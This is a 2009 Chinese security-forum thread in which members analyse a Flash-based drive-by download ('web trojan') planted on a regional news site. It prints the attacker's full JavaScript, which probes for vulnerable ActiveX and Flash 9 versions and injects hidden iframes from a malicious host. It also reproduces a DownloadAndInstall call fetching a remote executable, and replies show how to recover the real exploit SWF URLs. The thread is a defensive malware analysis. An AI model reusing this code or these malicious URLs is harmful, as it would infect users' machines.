123   1  /  3  页   跳转

[教程] 一个迷惑人的flash网马

一个迷惑人的flash网马

此flash网马颇具有迷惑性,让人很容易在解密过程中忽略。下面我就详细讲解一下,被挂马地址为昨天网马播报中的"开封信息港"



Log is generated by FreShow.
[wide]http://kf.shangdu.com/daohang/chibi/?31440
    [script]http://down.wmjqr.cn/down/downcb/ads1.js
        [frame]http://30mm.azzwg.cn/cb/mm.htm
            [script]http://30mm.azzwg.cn/cb/014.js
          [object]http://30mm.azzwg.cn/cb/014.exe
            [frame]http://30mm.azzwg.cn/cb/m09002.htm
                [script]http://30mm.azzwg.cn/cb/m09002.js
            [frame]http://30mm.azzwg.cn/cb/lzn.htm
            [frame]http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+'
            [script]http://30mm.azzwg.cn/cb/real.js
            [frame]http://30mm.azzwg.cn/cb/realn.htm
            [frame]http://30mm.azzwg.cn/cb/bfn.htm
        [frame]http://ad.uugua.cn/ad/
    [script]http://js.users.51.la/1310197.js


用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
本帖被评分 1 次
最后编辑networkedition 最后编辑于 2009-06-04 13:18:01
分享到:
gototop
 

回复:一个迷惑人的flash网马

我们来着重讲解红色框链接地址:http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+',这个地址可能在网马解密过程中被迷惑,
来看下这个链接地址的源文件内容:

<script type="text/javascript" src="swfobject.js"></script>
<div id="flashcontent">YES</div>
<script type=text/javascript>var so=new SWFObject("GG.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent");</ScripT>

在该链接地址的原文件中有个gg.swf这个flash文件,按照常规解密方法我们会直接考虑下载这个swf网马,地址可能会被误认为是这个:http://30mm.azzwg.cn/cb/ff/GG.swf,以下是这个gg.swf源文件内容如下(见截图):
最后编辑networkedition 最后编辑于 2009-06-04 13:27:25
gototop
 

回复:一个迷惑人的flash网马

这时我们会认为这个flash网马已经失效,但是实际上我们恰恰被欺骗过去了。我们再来仔细分析一下刚才的链接地址:
http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+',该链接地址里flash.asp?id='+Flashver+'这部分实际上指出的是一个swf网马下载地址,其中Flashver代表的是flash版本,那么具体真正的flash网马下载地址是什么呢?要结合所挂首恶意网址源代码来分析。以下是首恶意网址源代码内容:

<script>window.onerror=function(){return true;}</script>
<script>
try{var e;
var ado=(document.createElement("object"));
var Rising="classid";
var KV2008="Adodb.Stream";
var Kaspersky="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36";
ado.setAttribute(Rising,Kaspersky);
var as=ado.createobject(KV2008,"")}
catch(e){};
finally{
if(e!="[object Error]"){
document.write("<script src=http://30mm.azzwg.cn/cb/014.js></script>")}
else{
if(navigator.userAgent.toLowerCase().indexOf("msie 7")>0){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/m09002.htm"></iframe>')}
var myurl="http://30mm.azzwg.cn/cb/";
try{var f;
var ourgame=new ActiveXObject("GLCHAT.GLChatCtrl.1");}
catch(f){};
finally{if(f!="[object Error]"){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/lzn.htm"></iframe>')
}}
try{var j;
var SinaTV=new ActiveXObject("Downloader.DLoader.1");}
catch(j){};
finally{if(j!="[object Error]"){
document.write('<OBJECT id=Sina classid=clsid:78ABDC59-D8E7-44D3-9A76-9A0918C52B4A></OBJECT>');
Sina["DownloadAndInstall"](myurl+"sina.exe")
}}
try{var g;
var storm=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
storm=(document.createElement("object"));
ActivePerl="-1C59-4BBB-8E8";
getSpraySlide="1-6E83F82C813B";
helloworld2Address="clsid:2CACD7BB";
storm.setAttribute("classid",helloworld2Address+ActivePerl+getSpraySlide)
storm["Update"]("\Program Files\Common Files\uusee\" ,myurl+"UU.ini","",1)
}}
try{var l;
var Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version");}
catch(l){};
finally{if(l!="[object Error]"){
if(Flashver.indexOf("9,0,16,")>0||Flashver.indexOf("9,0,28,")>0||Flashver.indexOf("9,0,45,")>0||Flashver.indexOf("9,0,47,")>0||Flashver.indexOf("9,0,64,")>0||Flashver.indexOf("9,0,115,")>0){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+'"></iframe>');}
}}
try{var h;
var Real=new ActiveXObject("IERPCtl.IERPCtl.1");}
catch(h){};
finally{if(h!="[object Error]"){
Link=new ActiveXObject("IER"+"PCtl"+".IER"+"PCtl.1");
if(Link.PlayerProperty("PRODUCTVERSION")<="6.0.14.552"){
document.write("<script src=http://30mm.azzwg.cn/cb/real.js></script>")}
else{
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/realn.htm"></iframe>')}
}}
try{var b;
var bfn=new ActiveXObject("MPS.StormPlayer.1");}
catch(b){};
finally{if(b!="[object Error]"){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/bfn.htm"></iframe>')
}}
}}
</script>
最后编辑networkedition 最后编辑于 2009-06-04 13:33:17
gototop
 

回复:一个迷惑人的flash网马

还是来看一下红色部分内容,在这里:if(Flashver.indexOf("9,0,16,")>0||Flashver.indexOf("9,0,28,")>0||Flashver.indexOf("9,0,45,")>0||Flashver.indexOf("9,0,47,")>0||Flashver.indexOf("9,0,64,")>0||Flashver.indexOf("9,0,115,")>0){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+'" 简单分析这是个条件语句,实际上这里就提供了具体flash版本号,结合这个那么flash网马地址也就出来了。
http://30mm.azzwg.cn/cb/ff/gg16.swf
http://30mm.azzwg.cn/cb/ff/gg28.swf
http://30mm.azzwg.cn/cb/ff/gg45.swf
http://30mm.azzwg.cn/cb/ff/gg47.swf
http://30mm.azzwg.cn/cb/ff/gg64.swf
http://30mm.azzwg.cn/cb/ff/gg115.swf
以上是真正的flash网马下载地址。
最后编辑networkedition 最后编辑于 2009-06-04 13:42:57
gototop
 

回复:一个迷惑人的flash网马

我们下载其中的一个gg115.swf,直接以记事本方式打开,查看该文件源代码,即可看到真正网马下载地址。
详见下列截图:





这个网马还是很具有迷惑性的,特地拿出来讲解,和大家分享一下。在这里特别感谢一下250662772
最后编辑networkedition 最后编辑于 2009-06-04 13:54:33
gototop
 

回复: 一个迷惑人的flash网马



引用:
原帖由 networkedition 于 2009-6-4 13:34:00 发表
实际上这里就提供了具体flash版本号,结合这个那么flash网马地址也就出来了。

这是最关键的部分,但是你没有说清楚,这样看帖的人不会明白怎么根据版本号得到真正的地址。

详细地说应该是这样的:
参照恶意网页原文

try{var l;
var Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version");}
catch(l){};
finally{if(l!="[object Error]"){
if(Flashver.indexOf("9,0,16,")>0||Flashver.indexOf("9,0,28,")>0||Flashver.indexOf("9,0,45,")>0||Flashver.indexOf("9,0,47,")>0||Flashver.indexOf("9,0,64,")>0||Flashver.indexOf("9,0,115,")>0){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+'"></iframe>');}
}}


该代码尝试创建新的SWF9的ActiveX对象,并获得对象中$version属性的值,将其保存到变量Flashver中,使用变量l捕获错误。
当不出现[object Error]错误,说明系统存在这个ActiveX控件且可用,这时检查Flashver中是否包含特定的版本号字样。如果是,说明漏洞存在。
在漏洞存在的情况下,使用Flashver变量为参数访问flash.asp,从而得到真正的恶意代码内容。

那么这里要得到真正的恶意代码内容,就必须知道符合该漏洞要求的Flashver值到底是什么,将此值正确地加入iframe的URL链接中。
而Flashver值的形式,正是对此漏洞不熟悉的读者最生疏的地方。楼主没有讲清楚这个,这样大家基本上就摸不着头脑了。

Flashver的值源于对象中的$version属性,在用于IE组件的SWF9控件中该属性的值的形式为"win 9,0,x,0",其中x是副版本号,也就是该代码最关心的依据。
因此,符合以上条件的Flashver值应该为如下值之一:

win 9,0,16,0
win 9,0,28,0
win 9,0,45,0
win 9,0,47,0
win 9,0,64,0
win 9,0,115,0


因此将如下值其中之一加到iframe的src后面就可以得到相应的恶意代码。这里由于Flashver中有空格,我把空格给escape了,最后得到的链接为如下形式:

http://30mm.azzwg.cn/cb/ff/flash.asp?id=win%209,0,16,0


其他副版本号的依此类推。
(另外尝试发现,Flashver只写成"9,0,16,0"也照样可以成功,说明这个asp同样只是判断其中有没有关键字并返回相应的内容,而并不是判断整个Flashver)
上面这个链接得到的网页内容为:

<script type="text/javascript" src="swfobject.js"></script>
<div id="flashcontent">YES</div>
<script type=text/javascript>var so=new SWFObject("GG16.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent");</ScripT>


到了这里,才能看到GG16.swf。于是真正的畸形swf文件的链接为

http://30mm.azzwg.cn/cb/ff/GG16.swf


其余副版本号的情况依此类推。
本帖被评分 2 次
病毒样本请发到可疑文件交流区
gototop
 

回复:一个迷惑人的flash网马

虽然Flashver单纯写成"9,0,16,0"甚至"9,0,16",在这个例子中也可以获取成功,但是这里还是需要强调Flashver的正确形式,因为在以前的flash网马分析实践中,swf文件的实际链接经常采用的是 $version+".swf" 的形式,如果搞不清楚$version属性的正确值,就获取不到正确的地址。
病毒样本请发到可疑文件交流区
gototop
 

回复:一个迷惑人的flash网马

高手啊,膜拜学习了
0.电脑安防交流群:79272952
1.下载windows清理助手,升级后清理系统。
  地址:http://download.arswp.com/arswp3/x86/arswp3_x86.zip
2.下载SREng,地址:http://download.kztechs.com/files/sreng2.zip
3.解压后运行SREngLdr.exe---智能扫描---扫描---保存报告。
4.将SREng.log日志文件压缩后上传。。
gototop
 

回复:一个迷惑人的flash网马

原来的flash网马分析实践中,我们经常看到网页中加载的.swf文件是ie.swf或ff.swf
其实这两个文件并不是触发漏洞的畸形swf文件,其功能只是获取SWF控件版本并连接到真正的畸形swf文件。
其使用的方法,正是在swf中加入脚本,通过获取$version属性,使用 $version+".swf" 的形式生成相应的畸形swf文件地址并调用相应函数加载之,从而触发漏洞。

因此我们再看本帖所提到的脚本代码,就可以发现,以上这种判断flash控件版本以加入相应地址的方法,其实只是原来的方法的“外化”。由于现在的代码直接以javascript的方式表现出来,而不是编译在swf文件中,所以实际上比原来更简单更容易判断了。
最后编辑轩辕小聪 最后编辑于 2009-06-04 19:25:34
病毒样本请发到可疑文件交流区
gototop
 

回复:一个迷惑人的flash网马

继续学习
gototop
 
123   1  /  3  页   跳转
页面顶部
Powered by Discuz!NT